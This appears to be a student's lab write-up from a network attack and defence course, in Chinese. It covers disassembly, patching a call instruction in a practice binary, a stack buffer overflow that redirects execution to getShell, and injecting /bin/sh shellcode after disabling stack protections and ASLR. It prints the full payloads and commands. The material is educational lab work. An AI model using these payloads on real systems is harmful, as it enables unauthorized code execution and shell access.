20222925 2022-2023-2 《网络攻防实践》第九次作业

一、实践内容

反汇编

在传统软件开发模型中,程序员使用编译器,汇编器和链接器中的一个或者几个创建可执行程序。为了回溯编程过程(或对程序进行逆向工程),我们使用各种工具来撤销汇编和编译过程。
如果有一个100kb的文件,需要区分其中代码与数据,并把代码转换成汇编语言显示给用户。整个过程中,不遗漏信息。
反汇编器会从大量算法中选择一些适当的算法来处理文件,了解基本算法和其局限后可通过手动干预来提高反汇编输出整体质量。
第一步
确定进行反汇编代码区域。重点区分数据和指令,以反汇编可执行文件为例,该文件必须符合可执行文件的某种通用格式,如Windows使用的可移植可执行(Portable Executable, PE)格式还有Unix常用的可执行和链接格式(Executable and linking format, ELF),这些格式通常含有一种机制来确定文件中代码和代码入口点的位置(经常表现为层级文件头形式)。
第二步
确定指令的起始地址,读取该地址(或文件偏移量)所包含的值,并执行一次表查找,将二进制操作码的值与它的汇编语言助记符相对应。
第三步
获取指令并解码任何所需的操作数,需要对它的汇编语言等价形式进行格式化,并将其在反汇编代码中输出。
第四步
输出一条指令后,继续反汇编下一条指令,并重复上述过程,知道反汇编完文件中的所有指令。

十六进制编程器

十六进制编辑器,用来以16进制视图进行文本编辑的编辑工具软件。十六进制编辑器可以用来检查和修复各种文件、恢复删除文件、硬盘损坏造成的数据丢失等。它一直是计算机专业人员非常喜欢的工具。

Shellcode

shellcode是一段用于利用软件漏洞而执行的代码,也可以认为是一段填充数据,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
shellcode可以按照攻击者执行的位置分为本地shellcode和远程shellcode.
本地shellcode:本地运行的shellcode经常用于利用软件漏洞提升权限。比如在Linux下由普通权限提升至root权限。
远程shellcode:利用软件漏洞获得特定的shellcode,再经由C或Python编写远程攻击程序,进而取得对方电脑的root权限。
Shellcode是漏洞利用的必备要素,也是漏洞分析的重要环节,我们可以通过对shellcode进行定位来辅助回溯原理并确定漏洞特征,通过对shellcode功能的分析,我们还可以确定漏洞样本的危害程度的及其目的,并追踪攻击来源,这对apt供给分析中的溯源工作非常有利。
在这里插入图片描述
从功能上看,shellcode在整个漏洞利用过程中发挥主要作用就是对计算机端的控制:
在这里插入图片描述

二、实践过程

1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

将从学习通上下载的pwn1放在桌面上
在这里插入图片描述
输入指令“objdump -d /root/桌面/pwn1 | more” 开始对pwn1进行反汇编
在这里插入图片描述
根据反汇编结果,我们找到pwn1所使用的getshell、foo、main这三个函数
在这里插入图片描述
先分析main函数的汇编指令
当main函数按顺序执行到80484b5时,会执行机器指令:e8 d7 ff ff ff,执行汇编指令call 8048491
–>汇编指令call对应的机器指令是e8,8048491 代表foo函数,foo函数的偏移地址是d7 ff ff ff
这里的EIP地址为80484ba,则call指令跳转的fall函数入口地址(0x08048491)=执行call指令时的EIP地址(0x080484ba)+偏移量(0xffffffd7)
同理,可以计算出call指令跳转到getshell函数所需的偏移量=getshell函数入口地址(0x0804847d)-执行call指令时的EIP地址(0x080484ba)=0xffffffc3
–>改变程序执行流程,直接跳转到getShell函数的方法是:将e8 d7 ff ff ff改为e8 c3 ff ff ff
在这里插入图片描述
首先通过指令“vim /root/桌面/pwn1” 用vim打开pwn1

在这里插入图片描述
输入指令":%!xxd"把乱码转换为16进制

在这里插入图片描述
找到需要修改的e8 d7 ff ff ff中的d7,按a进入修改,然后将d7改为c3
在这里插入图片描述
在这里插入图片描述
而后输入指令":%!xxd -r"将十六进制还原成原来的乱码,再输入"wq"保存修改
输入指令“objdump -d /root/桌面/pwn1 | more” 再次对pwn1进行反汇编,检查修改是否成功
在这里插入图片描述

2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

输入指令“objdump -d /root/桌面/pwn1 | more” 开始对pwn1进行反汇编,然后找到foo函数的汇编指令
在这里插入图片描述
分析可知,对foo函数而言,变量空间确实是0x38,但是缓冲区0x1c(十六进制)=28字节的大小,决定了一旦输入超过28字节就必将造成溢出
安装gdb 在这里插入图片描述
输入指令“gdb pwn1”来使用gdb调试pwn1
输入"r"运行pwn1
输入长度为40的字符串(1111122222333334444455555666667777788888)测试foo函数,结果提示段错误,说明出现了数组越界访问,这其实是因为输入超过了预留的28个字节,造成溢出
在这里插入图片描述
输入指令"info r"来查看寄存器的值,发现EIP寄存器中的值为:0x38373737 ,这里的十六进制38和37在ASCll码表中对应的字符正是8和7
说明在step2中输入的长度40字节的字符串造成了溢出,且溢出部分的33-36字节的7778(37-40字节的8888就没有用到)覆盖了EIP寄存器中的值,小端优先
在这里插入图片描述
上述步骤提示我们可以利用foo函数输入溢出后,会将输入的33-36字节自动覆盖EIP寄存器之值这一漏洞,来构造攻击输入字符串,覆盖返回地址
因为要求触发getShell函数,故构造方法是:构造一个33-36字节为getShell函数入口地址的输入字符串。
则输入指令“perl -e ‘print “20222925202229252022292520222925\x7d\x84\x04\x08\x0a”’ > input”生成十六进制字符串文件“input”
在这里插入图片描述

输入指令"(cat input; cat) | ./pwn1",使input作为pwn1输入,这样一来,执行foo函数时就会触发getShell函数,最后也成功获得了shell
在这里插入图片描述

3、注入一个自己制作的shellcode并运行这段shellcode。

安装execstack
在这里插入图片描述
输入指令"execstack -s ./pwn1",将堆栈设为可执行状态
输入指令"execstack -q ./pwn1",查看文件pwn1的堆栈是否为可执行状态
输入指令"echo “0” > /proc/sys/kernel/randomize_va_space",关闭地址随机化
输入指令"more /proc/sys/kernel/randomize_va_space",查看地址随机化状态
在这里插入图片描述
使用anything+retaddr+nops+shellcode的结构:
anything为32个任意字符
retaddr为nop或shellcode的地址
nop为系统空指令\x90
shellcode为以/bin/sh为基础的字符串
shellcode的十六进制汇编指令如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90
输入指令“perl -e ‘print “A” x 32;print
“\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00”’ > input_shellcode”构建字符串并保存到input_shellcode中
在这里插入图片描述

输入指令“(cat input_shellcode; cat) | ./pwn1”,将input_shellcode作为pwn1的输入
在这里插入图片描述

打开另一个终端,使用命令“ps -ef | grep pwn1”找到pwn1的进程号:32914
在这里插入图片描述
将查询到的进程号输入gdb,开始gdb调试,并输入指令“break *0x080484ae,对foo函数的运行设置断点
在这里插入图片描述
输入指令"info r esp"查看栈顶指针所在的位置,该地址存放的数据为:0xffffcec0
输入指令"x/16x 0xffffcec0"查看存放内容,其中的0xffffcf38,就是返回地址的位置
在这里插入图片描述
由0xffffcec0+0x00000004=0xffffcec4可得到对应的retaddr
输入指令"perl -e ‘print “A” x 32; print"\xc4\xce\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"’ > input_shellcode"'来制作shellcode
输入指令"(cat input_shellcode; cat) | ./pwn1",将自己刚才制作的shellcode作为pwn的输入注入文件,运行可发现这段自己制作并注入的shellcode攻击成功,最后成功得到了shell。
在这里插入图片描述

三、学习中遇到的问题及解决

问题1:文件操作权限不够
在这里插入图片描述
解决1:
在这里插入图片描述
在这里插入图片描述
问题2:安装execstack无法定位软件包
在这里插入图片描述
解决2:在官网下载安装包(地址:https://debian.pkgs.org/10/debian-main-amd64/execstack_0.0.20131005-1+b10_amd64.deb.html)
通过指令apt install ./execstack_0.0.20131005-1+b10_amd64.deb安装
在这里插入图片描述

四、实践总结

本次实验主要是设法运行可执行文件的代码片段,制作并注入shellcode,难度较大,综合性强,需要熟悉linux基本操作,理解BOF的原理,掌握基本的汇编、机器指令、EIP、指令地址等知识,会使用gdb,vi。通过本次实验,我提高了对缓冲区溢出和shellcode的理解,更提高的自我学习的能力,让我受益匪浅。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值